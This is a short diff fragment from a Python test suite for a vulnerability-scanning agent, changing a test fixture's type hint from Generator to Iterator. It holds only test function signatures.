testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport( def testAsteroidAgent_whenTooManyRedirects_doesNotCrash( - exploit_instance_with_report: Generator[Type[definitions.Exploit], None, None], + exploit_instance_with_report: Iterator[Type[definitions.Exploit]], asteroid_agent_instance: asteroid_agent.AsteroidAgent, agent_mock: list[m.Message], ) -> None: